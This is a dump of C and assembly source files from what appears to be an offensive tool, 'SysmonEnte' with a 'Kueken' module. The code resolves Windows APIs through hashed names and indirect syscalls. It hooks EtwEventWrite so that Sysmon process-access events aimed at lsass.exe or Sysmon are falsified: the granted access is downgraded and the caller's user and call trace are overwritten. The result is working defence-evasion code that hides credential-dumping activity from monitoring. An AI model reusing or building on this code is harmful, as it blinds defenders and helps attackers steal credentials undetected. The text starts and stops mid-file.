(djb2_unicode(toLowerW(dll_name->pBuffer)) == xorHash(crypted_dll_hash)) 174 | return (PVOID)pModuleEntry->DllBase; 175 | 176 | pModuleEntry = (PLDR_DATA_TABLE_ENTRY)pModuleEntry->InMemoryOrderModuleList.Flink; 177 | 178 | } while (pModuleEntry != pStartModule); 179 | 180 | return 0; 181 | 182 | } 183 | 184 | unsigned long 185 | xorHash(unsigned long hash) { 186 | return hash ^ 0x41424344; 187 | } 188 | 189 | unsigned long 190 | djb2_unicode(PCWSTR str) 191 | { 192 | 193 | unsigned long hash = 5381; 194 | DWORD val; 195 | 196 | while (*str != 0) { 197 | val = (DWORD)*str++; 198 | hash = ((hash << 5) + hash) + val; 199 | } 200 | 201 | return hash; 202 | 203 | } 204 | 205 | unsigned long 206 | djb2(PCSTR str) 207 | { 208 | unsigned long hash = 5381; 209 | int c; 210 | 211 | while ((c = *str++)) 212 | hash = ((hash << 5) + hash) + c; 213 | 214 | return hash; 215 | } 216 | 217 | PSTR toLowerA(PSTR str) 218 | { 219 | 220 | PSTR start = str; 221 | 222 | while (*str) { 223 | 224 | if (*str <= L'Z' && *str >= 'A') { 225 | *str += 32; 226 | } 227 | 228 | str += 1; 229 | 230 | } 231 | 232 | return start; 233 | 234 | } 235 | 236 | PWSTR 237 | toLowerW(PWSTR str) 238 | { 239 | 240 | PWSTR start = str; 241 | 242 | while (*str) { 243 | 244 | if (*str <= L'Z' && *str >= 'A') { 245 | *str += 32; 246 | } 247 | 248 | str += 1; 249 | 250 | } 251 | 252 | return start; 253 | 254 | } -------------------------------------------------------------------------------- /src/Kueken/apiresolve.h: -------------------------------------------------------------------------------- 1 | #ifndef _APIRESOLVE_H 2 | #define _APIRESOLVE_H 3 | 4 | #include 5 | 6 | #include "apidef.h" 7 | #include "hashes.h" 8 | #include "peb.h" 9 | 10 | PVOID GetFunctionPtr(unsigned long, unsigned long); 11 | 12 | PVOID getDllBase(unsigned long); 13 | PVOID loadDll(unsigned long); 14 | PVOID loadDll_byName(PSTR); 15 | PVOID parseHdrForPtr(PBYTE, unsigned long); 16 | PVOID followExport(char*, unsigned long); 17 | unsigned long xorHash(unsigned long); 18 | 19 | unsigned long djb2(PCSTR str); 20 | unsigned long djb2_unicode(PCWSTR str); 21 | PSTR toLowerA(PSTR str); 22 | PWSTR toLowerW(PWSTR str); 23 | 24 | #endif -------------------------------------------------------------------------------- /src/Kueken/chkstk.asm: -------------------------------------------------------------------------------- 1 | global ___chkstk_ms 2 | 3 | segment .text 4 | 5 | ___chkstk_ms: 6 | ret 7 | -------------------------------------------------------------------------------- /src/Kueken/events.h: -------------------------------------------------------------------------------- 1 | #ifndef EVENTS_H 2 | #define EVENTS_H 3 | 4 | #include "windows.h" 5 | 6 | #define EVENT_PROCESSACCESS 10 7 | 8 | #pragma pack(1) 9 | typedef struct ProcessAccess { 10 | 11 | wchar_t* pRuleName; 12 | size_t sizeRuleName; 13 | wchar_t* pUtcTime; 14 | size_t sizeUtcTime; 15 | void* psrcGUID; 16 | size_t sizesrcguid; 17 | void* ppidsrc; 18 | size_t sizepidsrc; 19 | void* ptidsrc; 20 | size_t sizetidsrc; 21 | wchar_t* psourceimage; 22 | size_t sizesourceimage; 23 | void* ptarGUID; 24 | size_t sizetarGUID; 25 | void* ppiddest; 26 | size_t sizepiddest; 27 | wchar_t* ptargetimage; 28 | size_t sizetargetimage; 29 | PACCESS_MASK pGrantedAccess; 30 | size_t sizeGrantedAccess; 31 | wchar_t* pCalltrace; 32 | size_t sizecalltrace; 33 | wchar_t* pSourceUser; 34 | size_t sizeSourceUser; 35 | wchar_t* pTargetUser; 36 | size_t sizetargetUser; 37 | 38 | } ProcessAccess, * PProcessAccess; 39 | 40 | #pragma pack() 41 | 42 | #endif -------------------------------------------------------------------------------- /src/Kueken/hashes.h: -------------------------------------------------------------------------------- 1 | #ifndef HASHES_H 2 | #define HASHES_H 3 | 4 | #include 5 | #include 6 | 7 | // ---- NTDLL ---- 8 | #define CRYPTED_HASH_NTDLL 0x6391f6a9 9 | #define CRYPTED_HASH_ETWEVENTWRITE 0x65ea9366 10 | #define CRYPTED_HASH_ETWEVENTWRITEFULL 0xae6230f1 11 | 12 | // ---- KERNEL32 ---- 13 | #define H_LIB_KERNEL32 0x3102ad31 14 | #define H_API_COPYMEMORY 0x14d8cfcf 15 | #define H_API_LOADLIBRARYA 0x1efdb3bf 16 | 17 | // ---- shlwapi.dll ---- 18 | #define H_LIB_SHLWAPI 0xe64fd763 19 | #define H_API_STRSTRA 0x4ef4617c 20 | #define H_API_STRSTRW 0x473829d3 21 | 22 | typedef PCWSTR(WINAPI* STRSTRW)(PCWSTR, PCWSTR); 23 | typedef PCSTR(WINAPI* STRSTRA)(PCSTR, PCSTR); 24 | 25 | 26 | #endif 27 | -------------------------------------------------------------------------------- /src/Kueken/includes.h: -------------------------------------------------------------------------------- 1 | #ifndef _INCLUDES_H 2 | #define _INCLUDES_H 3 | 4 | #define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 ) 5 | #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) 6 | 7 | typedef struct _UNICODE_STR { 8 | USHORT Length; 9 | USHORT MaximumLength; 10 | PWSTR pBuffer; 11 | } UNICODE_STR, * PUNICODE_STR; 12 | 13 | typedef struct _CLIENT_ID { 14 | DWORD64 UniqueProcess; 15 | DWORD64 UniqueThread; 16 | 17 | } CLIENT_ID, * PCLIENT_ID; 18 | 19 | typedef struct _OBJECT_ATTRIBUTES { 20 | ULONG Length; 21 | HANDLE RootDirectory; 22 | PUNICODE_STR ObjectName; 23 | ULONG Attributes; 24 | PVOID SecurityDescriptor; 25 | PVOID SecurityQualityOfService; 26 | } OBJECT_ATTRIBUTES; 27 | 28 | 29 | #ifndef InitializeObjectAttributes 30 | #define InitializeObjectAttributes( p, n, a, r, s ) { \ 31 | (p)->Length = sizeof(OBJECT_ATTRIBUTES); \ 32 | (p)->RootDirectory = r; \ 33 | (p)->Attributes = a; \ 34 | (p)->ObjectName = n; \ 35 | (p)->SecurityDescriptor = s; \ 36 | (p)->SecurityQualityOfService = NULL; \ 37 | } 38 | #endif 39 | #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS) 0xC0000004) 40 | 41 | #endif -------------------------------------------------------------------------------- /src/Kueken/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "apiresolve.h" 5 | #include "events.h" 6 | 7 | VOID HandleProcessAccess(PProcessAccess); 8 | 9 | ULONG Hook_EtwEventWrite(REGHANDLE RegHandle, PCEVENT_DESCRIPTOR EventDescriptor, ULONG UserDataCount, PEVENT_DATA_DESCRIPTOR UserData) { 10 | 11 | ULONG ret = 0; 12 | _EtwEventWriteFull EtwEventWriteFull = (_EtwEventWriteFull)GetFunctionPtr(CRYPTED_HASH_NTDLL, CRYPTED_HASH_ETWEVENTWRITEFULL); 13 | if (EtwEventWriteFull == NULL) 14 | goto exit; 15 | 16 | switch (EventDescriptor->Id) { 17 | case EVENT_PROCESSACCESS: 18 | HandleProcessAccess((PProcessAccess)UserData); 19 | break; 20 | default: 21 | break; 22 | } 23 | 24 | ret = EtwEventWriteFull(RegHandle, EventDescriptor, 0, NULL, NULL, UserDataCount, UserData); 25 | 26 | exit: 27 | 28 | return ret; 29 | 30 | } 31 | 32 | VOID HandleProcessAccess(PProcessAccess pProcessAccess) { 33 | 34 | COPYMEMORY _CopyMemory = GetFunctionPtr(H_LIB_KERNEL32, H_API_COPYMEMORY); 35 | STRSTRW _StrStrW = GetFunctionPtr(H_LIB_SHLWAPI, H_API_STRSTRW); 36 | 37 | PCWSTR plsass = NULL; 38 | PCWSTR psysmon = NULL; 39 | 40 | ACCESS_MASK access_mask_benign = PROCESS_QUERY_INFORMATION | PROCESS_QUERY_LIMITED_INFORMATION; 41 | WCHAR wLsass[] = { L'l',L's',L'a',L's',L's',L'.',L'e',L'x',L'e', 0x00 }; 42 | WCHAR wSysmon[] = { L'S',L'y',L's',L'm',L'o',L'n', 0x00 }; 43 | WCHAR wEnte[] = { L'E',L'n',L't',L'e', 0x00 }; 44 | 45 | plsass = _StrStrW(pProcessAccess->ptargetimage, wLsass); 46 | psysmon = _StrStrW(pProcessAccess->ptargetimage, wSysmon); 47 | if (plsass || psysmon) { 48 | 49 | *pProcessAccess->pGrantedAccess = access_mask_benign; 50 | pProcessAccess->sizeGrantedAccess = sizeof(access_mask_benign); 51 | 52 | _CopyMemory(pProcessAccess->pSourceUser, wEnte, sizeof(wEnte)); 53 | pProcessAccess->sizeSourceUser = sizeof(wEnte); 54 | 55 | _CopyMemory(pProcessAccess->pCalltrace, wEnte, sizeof(wEnte)); 56 | pProcessAccess->sizecalltrace = sizeof(wEnte); 57 | 58 | } 59 | 60 | return; 61 | 62 | } 63 | 64 | 65 | 66 | -------------------------------------------------------------------------------- /src/Kueken/peb.h: -------------------------------------------------------------------------------- 1 | #ifndef _PEB_H 2 | #define _PEB_H 3 | 4 | #include "windows.h" 5 | #include "includes.h" 6 | 7 | typedef struct __OBJECT_ATTRIBUTES { 8 | ULONG Length; 9 | HANDLE RootDirectory; 10 | PUNICODE_STR ObjectName; 11 | ULONG Attributes; 12 | PVOID SecurityDescriptor; 13 | PVOID SecurityQualityOfService; 14 | } _OBJECT_ATTRIBUTES; 15 | 16 | typedef struct _PEB_LDR_DATA 17 | { 18 | DWORD dwLength; 19 | DWORD dwInitialized; 20 | LPVOID lpSsHandle; 21 | LIST_ENTRY InLoadOrderModuleList; 22 | LIST_ENTRY InMemoryOrderModuleList; 23 | LIST_ENTRY InInitializationOrderModuleList; 24 | LPVOID lpEntryInProgress; 25 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 26 | 27 | typedef struct _LDR_DATA_TABLE_ENTRY 28 | { 29 | LIST_ENTRY InMemoryOrderModuleList; 30 | LIST_ENTRY InInitializationOrderModuleList; 31 | PVOID DllBase; 32 | PVOID EntryPoint; 33 | ULONG SizeOfImage; 34 | UNICODE_STR FullDllName; 35 | UNICODE_STR BaseDllName; 36 | ULONG Flags; 37 | SHORT LoadCount; 38 | SHORT TlsIndex; 39 | LIST_ENTRY HashTableEntry; 40 | ULONG TimeDateStamp; 41 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; 42 | 43 | typedef struct _PEB_FREE_BLOCK 44 | { 45 | struct _PEB_FREE_BLOCK* pNext; 46 | DWORD dwSize; 47 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; 48 | 49 | typedef struct PEB 50 | { 51 | BYTE bInheritedAddressSpace; 52 | BYTE bReadImageFileExecOptions; 53 | BYTE bBeingDebugged; 54 | BYTE bSpareBool; 55 | LPVOID lpMutant; 56 | LPVOID lpImageBaseAddress; 57 | PPEB_LDR_DATA pLdr; 58 | LPVOID lpProcessParameters; 59 | LPVOID lpSubSystemData; 60 | LPVOID lpProcessHeap; 61 | PRTL_CRITICAL_SECTION pFastPebLock; 62 | LPVOID lpFastPebLockRoutine; 63 | LPVOID lpFastPebUnlockRoutine; 64 | DWORD dwEnvironmentUpdateCount; 65 | LPVOID lpKernelCallbackTable; 66 | DWORD dwSystemReserved; 67 | DWORD dwAtlThunkSListPtr32; 68 | PPEB_FREE_BLOCK pFreeList; 69 | DWORD dwTlsExpansionCounter; 70 | LPVOID lpTlsBitmap; 71 | DWORD dwTlsBitmapBits[2]; 72 | LPVOID lpReadOnlySharedMemoryBase; 73 | LPVOID lpReadOnlySharedMemoryHeap; 74 | LPVOID lpReadOnlyStaticServerData; 75 | LPVOID lpAnsiCodePageData; 76 | LPVOID lpOemCodePageData; 77 | LPVOID lpUnicodeCaseTableData; 78 | DWORD dwNumberOfProcessors; 79 | DWORD dwNtGlobalFlag; 80 | LARGE_INTEGER liCriticalSectionTimeout; 81 | DWORD dwHeapSegmentReserve; 82 | DWORD dwHeapSegmentCommit; 83 | DWORD dwHeapDeCommitTotalFreeThreshold; 84 | DWORD dwHeapDeCommitFreeBlockThreshold; 85 | DWORD dwNumberOfHeaps; 86 | DWORD dwMaximumNumberOfHeaps; 87 | LPVOID lpProcessHeaps; 88 | LPVOID lpGdiSharedHandleTable; 89 | LPVOID lpProcessStarterHelper; 90 | DWORD dwGdiDCAttributeList; 91 | LPVOID lpLoaderLock; 92 | DWORD dwOSMajorVersion; 93 | DWORD dwOSMinorVersion; 94 | WORD wOSBuildNumber; 95 | WORD wOSCSDVersion; 96 | DWORD dwOSPlatformId; 97 | DWORD dwImageSubsystem; 98 | DWORD dwImageSubsystemMajorVersion; 99 | DWORD dwImageSubsystemMinorVersion; 100 | DWORD dwImageProcessAffinityMask; 101 | DWORD dwGdiHandleBuffer[34]; 102 | LPVOID lpPostProcessInitRoutine; 103 | LPVOID lpTlsExpansionBitmap; 104 | DWORD dwTlsExpansionBitmapBits[32]; 105 | DWORD dwSessionId; 106 | ULARGE_INTEGER liAppCompatFlags; 107 | ULARGE_INTEGER liAppCompatFlagsUser; 108 | LPVOID lppShimData; 109 | LPVOID lpAppCompatInfo; 110 | UNICODE_STR usCSDVersion; 111 | LPVOID lpActivationContextData; 112 | LPVOID lpProcessAssemblyStorageMap; 113 | LPVOID lpSystemDefaultActivationContextData; 114 | LPVOID lpSystemAssemblyStorageMap; 115 | DWORD dwMinimumStackCommit; 116 | } PEB, *PPEB; 117 | 118 | #endif -------------------------------------------------------------------------------- /src/SysmonEnte/adjuststack.asm: -------------------------------------------------------------------------------- 1 | extern go 2 | global alignstack 3 | 4 | segment .text 5 | 6 | alignstack: 7 | push rdi 8 | mov rdi, rsp 9 | and rsp, byte -0x10 10 | sub rsp, byte +0x20 11 | call go 12 | mov rsp, rdi 13 | pop rdi 14 | ret 15 | 16 | -------------------------------------------------------------------------------- /src/SysmonEnte/apidef.h: -------------------------------------------------------------------------------- 1 | 2 | #ifndef APIDEF_H 3 | #define APIDEF_H 4 | 5 | #include "tlhelp32.h" 6 | 7 | typedef BOOL(WINAPI* PROCESS32FIRST)(HANDLE, LPPROCESSENTRY32); 8 | typedef BOOL(WINAPI* PROCESS32NEXT)(HANDLE, LPPROCESSENTRY32); 9 | typedef HMODULE(WINAPI* GETMODULEHANDLEA)(LPCSTR); 10 | typedef BOOL(WINAPI* CLOSEHANDLE)(HANDLE); 11 | typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR); 12 | typedef LPSTR(WINAPI* LSTRCATA)(LPSTR, LPSTR); 13 | typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD); 14 | typedef int(WINAPI* LSTRLENA)(LPCSTR); 15 | typedef BOOL(WINAPI* VIRTUALFREE)(LPVOID, SIZE_T, DWORD); 16 | typedef void(WINAPI* COPYMEMORY)(PVOID, void*, SIZE_T); 17 | typedef LPWSTR(WINAPI* LSTRCATW)(LPWSTR, LPCWSTR); 18 | typedef int (WINAPI* LSTRLENW)(LPCWSTR); 19 | typedef HANDLE(WINAPI* CREATETOOLHELP32SNAPSHOT)(DWORD, DWORD); 20 | typedef BOOL(WINAPI* OPENPROCESSTOKEN)(HANDLE, DWORD, PHANDLE); 21 | typedef int(WINAPI* LSTRCMPW)(LPCWSTR, LPCWSTR); 22 | typedef int (WINAPI* LSTRCMPA)(LPCSTR, LPCSTR); 23 | typedef BOOL(WINAPI* LOOKUPPRIVILEGEVALUEA)(LPCSTR, LPCSTR, PLUID); 24 | typedef DWORD(WINAPI* GETMODULEFILENAMEEXA)(HANDLE, HMODULE, LPSTR, DWORD); 25 | typedef DWORD(WINAPI* GETMODULEFILENAMEEXW)(HANDLE, HMODULE, LPWSTR, DWORD); 26 | typedef BOOL(WINAPI* GETMODULEBASENAMEW)(HANDLE, HMODULE, LPWSTR, DWORD); 27 | typedef HMODULE(WINAPI* GETMODULEHANDLE)(LPCSTR); 28 | 29 | 30 | typedef BOOL(WINAPI* LOOKUPACCOUNTSIDA)(LPCSTR, PSID, LPSTR, LPDWORD, LPSTR, LPDWORD, PSID_NAME_USE); 31 | typedef BOOL(WINAPI* GETUSERNAMEA)(LPSTR, LPDWORD); 32 | typedef BOOL(WINAPI* LOOKUPACCOUNTUSERIDA)(LPCSTR, PSID, LPSTR, LPDWORD, LPSTR, LPDWORD, PSID_NAME_USE); 33 | typedef BOOL(WINAPI* GETTOKENINFORMATION)(HANDLE, TOKEN_INFORMATION_CLASS, LPVOID, DWORD, PDWORD); 34 | typedef BOOL(WINAPI* LOOKUPPRIVILEGENAMEA)(LPCSTR, PLUID, LPSTR, LPDWORD); 35 | typedef BOOL(WINAPI* IMPERSONATELOGGEDONUSER)(HANDLE); 36 | 37 | typedef PCSTR(WINAPI* STRSTRA)(PCSTR, PCSTR); 38 | 39 | typedef BOOL(WINAPI* ENUMPROCESSMODULES)(HANDLE, HMODULE*, DWORD, LPDWORD); 40 | typedef DWORD(WINAPI* GETMODULEFILENAMEEXA)(HANDLE, HMODULE, LPSTR, DWORD); 41 | 42 | #endif -------------------------------------------------------------------------------- /src/SysmonEnte/apiresolve.c: -------------------------------------------------------------------------------- 1 | #include "apiresolve.h" 2 | 3 | BOOL ResolveApi(PAPI pApi) { 4 | 5 | BOOL bSuccess = FALSE; 6 | 7 | pApi->Kernel32.lstrcatA = GetFunctionPtr(H_LIB_KERNEL32, H_API_LSTRCATA); if (pApi->Kernel32.lstrcatA == NULL) goto exit; 8 | pApi->Kernel32.lstrcmpA = GetFunctionPtr(H_LIB_KERNEL32, H_API_LSTRCMPA); if (pApi->Kernel32.lstrcmpA == NULL) goto exit; 9 | pApi->Kernel32.lstrcmpW = GetFunctionPtr(H_LIB_KERNEL32, H_API_LSTRCMPW); if (pApi->Kernel32.lstrcmpW == NULL) goto exit; 10 | pApi->Kernel32.CreateToolhelp32Snapshot = GetFunctionPtr(H_LIB_KERNEL32, H_API_CREATETOOLHELP32SNAPSHOT); if (pApi->Kernel32.CreateToolhelp32Snapshot == NULL) goto exit; 11 | pApi->Kernel32.Process32First = GetFunctionPtr(H_LIB_KERNEL32, H_API_PROCESS32FIRST); if (pApi->Kernel32.Process32First == NULL) goto exit; 12 | pApi->Kernel32.Process32Next = GetFunctionPtr(H_LIB_KERNEL32, H_API_PROCESS32NEXT); if (pApi->Kernel32.Process32Next == NULL) goto exit; 13 | pApi->Kernel32.CloseHandle = GetFunctionPtr(H_LIB_KERNEL32, H_API_CLOSEHANDLE); if (pApi->Kernel32.CloseHandle == NULL) goto exit; 14 | pApi->Kernel32.VirtualAlloc = GetFunctionPtr(H_LIB_KERNEL32, H_API_VIRTUALALLOC); if (pApi->Kernel32.VirtualAlloc == NULL) goto exit; 15 | pApi->Kernel32.VirtualFree = GetFunctionPtr(H_LIB_KERNEL32, H_API_VIRTUALFREE); if (pApi->Kernel32.VirtualFree == NULL) goto exit; 16 | pApi->Kernel32.GetModuleHandleA = GetFunctionPtr(H_LIB_KERNEL32, H_API_GETMODULEHANDLEA); if (pApi->Kernel32.GetModuleHandleA == NULL) goto exit; 17 | pApi->Kernel32._CopyMemory = GetFunctionPtr(H_LIB_KERNEL32, H_API_COPYMEMORY); if (pApi->Kernel32._CopyMemory == NULL) goto exit; 18 | 19 | pApi->Psapi.GetModuleFileNameExA = GetFunctionPtr(H_LIB_PSAPI, H_API_GETMODULEFILENAMEEXA); if (pApi->Psapi.GetModuleFileNameExA == NULL) goto exit; 20 | pApi->Psapi.EnumProcessModules = GetFunctionPtr(H_LIB_PSAPI, H_API_ENUMPROCESSMODULES); if (pApi->Psapi.EnumProcessModules == NULL) goto exit; 21 | 22 | pApi->Advapi32.ImpersonateLoggedonUser = GetFunctionPtr(H_LIB_ADVAPI32, H_API_IMPERSONATELOGGEDONUSER); if (pApi->Advapi32.ImpersonateLoggedonUser == NULL) goto exit; 23 | pApi->Advapi32.GetTokenInformation = GetFunctionPtr(H_LIB_ADVAPI32, H_API_GETTOKENINFORMATION); if (pApi->Advapi32.GetTokenInformation == NULL) goto exit; 24 | pApi->Advapi32.LookupAccountSidA = GetFunctionPtr(H_LIB_ADVAPI32, H_API_LOOKUPACCOUNTSIDA); if (pApi->Advapi32.LookupAccountSidA == NULL) goto exit; 25 | 26 | bSuccess = GetSyscall(H_API_NTOPENPROCESS, &pApi->Nt.NtOpenProcess); if (bSuccess == FALSE) goto exit; 27 | bSuccess = GetSyscall(H_API_NTOPENPROCESSTOKEN, &pApi->Nt.NtOpenProcessToken); if (bSuccess == FALSE) goto exit; 28 | bSuccess = GetSyscall(H_API_NTOPENTHREAD, &pApi->Nt.NtOpenThread); if (bSuccess == FALSE) goto exit; 29 | bSuccess = GetSyscall(H_API_NTRESUMETHREAD, &pApi->Nt.NtResumeThread); if (bSuccess == FALSE) goto exit; 30 | bSuccess = GetSyscall(H_API_NTSUSPENDTHREAD, &pApi->Nt.NtSuspendThread); if (bSuccess == FALSE) goto exit; 31 | bSuccess = GetSyscall(H_API_NTQUERYSYSTEMINFORMATION, &pApi->Nt.NtQuerySystemInformation); if (bSuccess == FALSE) goto exit; 32 | bSuccess = GetSyscall(H_API_NTDUPLICATEOBJECT, &pApi->Nt.NtDuplicateObject); if (bSuccess == FALSE) goto exit; 33 | bSuccess = GetSyscall(H_API_NTALLOCATEVIRTUALMEMORY, &pApi->Nt.NtAllocateVirtualMemory); if (bSuccess == FALSE) goto exit; 34 | bSuccess = GetSyscall(H_API_NTWRITEVIRTUALMEMORY, &pApi->Nt.NtWriteVirtualMemory); if (bSuccess == FALSE) goto exit; 35 | bSuccess = GetSyscall(H_API_NTPROTECTVIRTUALMEMORY, &pApi->Nt.NtProtectVirtualMemory); if (bSuccess == FALSE) goto exit; 36 | 37 | exit: 38 | 39 | return bSuccess; 40 | 41 | } 42 | 43 | PVOID 44 | GetFunctionPtr(unsigned long crypted_dll_hash, unsigned long crypted_function_hash) { 45 | 46 | PVOID dll_base = 0x00; 47 | PVOID ptr_function = 0x00; 48 | 49 | dll_base = getDllBase(crypted_dll_hash); 50 | if (dll_base == 0) { 51 | dll_base = loadDll(crypted_dll_hash); 52 | if (dll_base == 0) 53 | return 0; 54 | } 55 | 56 | ptr_function = parseHdrForPtr(dll_base, crypted_function_hash); 57 | 58 | return ptr_function; 59 | 60 | } 61 | 62 | PVOID 63 | loadDll(unsigned long crypted_dll_hash) { 64 | 65 | PVOID pKernel32 = 0x00; 66 | PVOID pLoadLibrary = 0x00; 67 | PVOID pDllBase = 0x00; 68 | 69 | pKernel32 = getDllBase(H_LIB_KERNEL32); 70 | if (pKernel32 == NULL) 71 | return NULL; 72 | 73 | pLoadLibrary = parseHdrForPtr(pKernel32, H_API_LOADLIBRARYA); 74 | if (pLoadLibrary == NULL) 75 | return NULL; 76 | 77 | if (crypted_dll_hash == H_LIB_ADVAPI32) { 78 | char dll_name[] = { 'A', 'd', 'v', 'a', 'p', 'i', '3', '2','.','d','l','l',0x00, 0x00, 0x00, 0x00 }; 79 | pDllBase = (PVOID)((LOADLIBRARYA)pLoadLibrary)(dll_name); 80 | } else if (crypted_dll_hash == H_LIB_PSAPI) { 81 | char dll_name[] = { 'P', 's', 'a', 'p', 'i', '.', 'd','l','l',0x00 }; 82 | pDllBase = (PVOID)((LOADLIBRARYA)pLoadLibrary)(dll_name); 83 | } else if (crypted_dll_hash == H_LIB_SHLWAPI) { 84 | char dll_name[] = { 'S', 'h', 'l', 'w', 'a', 'p', 'i', '.', 'd','l','l',0x00 }; 85 | pDllBase = (PVOID)((LOADLIBRARYA)pLoadLibrary)(dll_name); 86 | 87 | } 88 | 89 | return pDllBase; 90 | 91 | } 92 | 93 | PVOID 94 | loadDll_byName(PSTR dll_name) { 95 | 96 | PVOID pBaseKernel32 = NULL, pLoadLibrary = NULL, pLoadedDll = 0x00; 97 | 98 | pBaseKernel32 = getDllBase(H_LIB_KERNEL32); 99 | if (pBaseKernel32 == 0x00) 100 | return NULL; 101 | 102 | pLoadLibrary = parseHdrForPtr(pBaseKernel32, H_API_LOADLIBRARYA); 103 | if (pLoadLibrary == 0x00) 104 | return NULL; 105 | 106 | pLoadedDll = (PVOID)((LOADLIBRARYA)pLoadLibrary)(dll_name); 107 | 108 | return pLoadedDll; 109 | 110 | } 111 | 112 | 113 | PVOID 114 | parseHdrForPtr(PBYTE dll_base, unsigned long crypted_function_hash) { 115 | 116 | PIMAGE_NT_HEADERS ntHdrs = NULL; 117 | PIMAGE_DATA_DIRECTORY dataDir = NULL; 118 | PIMAGE_EXPORT_DIRECTORY exportDir = NULL; 119 | 120 | PDWORD pExportTable = NULL, pNamePointerTable = NULL; 121 | PWORD pOrdinalTable = NULL; 122 | DWORD idxFunctions = 0; 123 | 124 | LPSTR pFunctionName = NULL; 125 | 126 | ntHdrs = (PIMAGE_NT_HEADERS)(dll_base + ((PIMAGE_DOS_HEADER)(size_t)dll_base)->e_lfanew); 127 | dataDir = (PIMAGE_DATA_DIRECTORY)&ntHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 128 | exportDir = (PIMAGE_EXPORT_DIRECTORY)(dll_base + dataDir->VirtualAddress); 129 | 130 | pExportTable = (PDWORD)(dll_base + exportDir->AddressOfFunctions); 131 | pNamePointerTable = (PDWORD)(dll_base + exportDir->AddressOfNames); 132 | pOrdinalTable = (WORD*)(dll_base + exportDir->AddressOfNameOrdinals); 133 | 134 | for (idxFunctions = 0; idxFunctions < exportDir->NumberOfNames; idxFunctions++) { 135 | 136 | pFunctionName = (LPSTR)dll_base + (pNamePointerTable[idxFunctions]); 137 | if (djb2(pFunctionName) == xorHash(crypted_function_hash)) { 138 | 139 | WORD nameord = pOrdinalTable[idxFunctions]; 140 | DWORD rva = pExportTable[nameord]; 141 | 142 | if (dll_base + rva >= dll_base + dataDir->VirtualAddress && dll_base + rva <= dll_base + dataDir->VirtualAddress + dataDir->Size) { 143 | // This is a forwarded export 144 | PSTR pForward = (PSTR)(dll_base + rva); 145 | return followExport(pForward, crypted_function_hash); 146 | } 147 | 148 | 149 | return dll_base + rva; 150 | } 151 | 152 | } 153 | 154 | return 0; 155 | } 156 | 157 | PVOID followExport(PSTR ptr_forward, unsigned long crypted_function_hash) { 158 | 159 | STRSTRA _StrStrA = (STRSTRA)GetFunctionPtr(H_LIB_SHLWAPI, H_API_STRSTRA); 160 | 161 | if (_StrStrA == 0x00) 162 | return 0; 163 | 164 | char del[] = { '.', 0x00 }; 165 | char* pos_del = 0x00; 166 | char forward_dll[MAX_PATH] = { 0 }; 167 | char forward_export[MAX_PATH] = { 0 }; 168 | unsigned long forward_export_hash = 0x00; 169 | BYTE i = 0; 170 | PVOID fwd_dll_base = 0x00, forwarded_export = 0x00; 171 | 172 | while (*ptr_forward) 173 | forward_dll[i++] = *ptr_forward++; 174 | 175 | pos_del = (char*)_StrStrA(forward_dll, del); 176 | if (pos_del == 0) 177 | return 0; 178 | 179 | *(char*)(pos_del++) = 0x00; 180 | i = 0; 181 | while (*pos_del) 182 | forward_export[i++] = *pos_del++; 183 | 184 | forward_export_hash = xorHash(djb2((PCSTR)forward_export)); 185 | 186 | fwd_dll_base = getDllBase(xorHash(djb2((PCSTR)forward_dll))); 187 | if (fwd_dll_base == 0x00) { 188 | fwd_dll_base = loadDll_byName(forward_dll); 189 | if (fwd_dll_base == 0x00) 190 | return 0; 191 | } 192 | 193 | forwarded_export = parseHdrForPtr(fwd_dll_base, forward_export_hash); 194 | 195 | return forwarded_export; 196 | 197 | } 198 | 199 | 200 | 201 | PVOID 202 | getDllBase(unsigned long crypted_dll_hash) { 203 | 204 | PPEB pPeb = NULL; 205 | PPEB_LDR_DATA pLdrData = NULL; 206 | PLDR_DATA_TABLE_ENTRY pModuleEntry = NULL, pStartModule = NULL; 207 | PUNICODE_STR dll_name = NULL; 208 | 209 | pPeb = (PPEB)__readgsqword(0x60); 210 | pLdrData = pPeb->pLdr; 211 | pModuleEntry = pStartModule = (PLDR_DATA_TABLE_ENTRY)pLdrData->InMemoryOrderModuleList.Flink; 212 | 213 | do { 214 | 215 | dll_name = &pModuleEntry->BaseDllName; 216 | 217 | if (dll_name->pBuffer == NULL) 218 | return 0; 219 | 220 | if (djb2_unicode(toLowerW(dll_name->pBuffer)) == xorHash(crypted_dll_hash)) 221 | return (PVOID)pModuleEntry->DllBase; 222 | 223 | pModuleEntry = (PLDR_DATA_TABLE_ENTRY)pModuleEntry->InMemoryOrderModuleList.Flink; 224 | 225 | } while (pModuleEntry != pStartModule); 226 | 227 | return 0; 228 | 229 | } 230 | 231 | unsigned long 232 | xorHash(unsigned long hash) { 233 | return hash ^ 0x41424344; 234 | } 235 | 236 | -------------------------------------------------------------------------------- /src/SysmonEnte/apiresolve.h: -------------------------------------------------------------------------------- 1 | #ifndef APIRESOLVE_H 2 | #define APIRESOLVE_H 3 | 4 | #include "windows.h" 5 | 6 | #include "apidef.h" 7 | #include "hashes.h" 8 | #include "misc.h" 9 | #include "peb.h" 10 | #include "recycledgate.h" 11 | 12 | typedef struct API { 13 | 14 | struct { 15 | 16 | LSTRCATA lstrcatA; 17 | LSTRCMPA lstrcmpA; 18 | LSTRCMPW lstrcmpW; 19 | 20 | CREATETOOLHELP32SNAPSHOT CreateToolhelp32Snapshot; 21 | PROCESS32FIRST Process32First; 22 | PROCESS32NEXT Process32Next; 23 | 24 | CLOSEHANDLE CloseHandle; 25 | VIRTUALALLOC VirtualAlloc; 26 | VIRTUALFREE VirtualFree; 27 | 28 | GETMODULEHANDLEA GetModuleHandleA; 29 | COPYMEMORY _CopyMemory; 30 | 31 | } Kernel32; 32 | 33 | struct { 34 | 35 | GETTOKENINFORMATION GetTokenInformation; 36 | IMPERSONATELOGGEDONUSER ImpersonateLoggedonUser; 37 | LOOKUPACCOUNTSIDA LookupAccountSidA; 38 | 39 | } 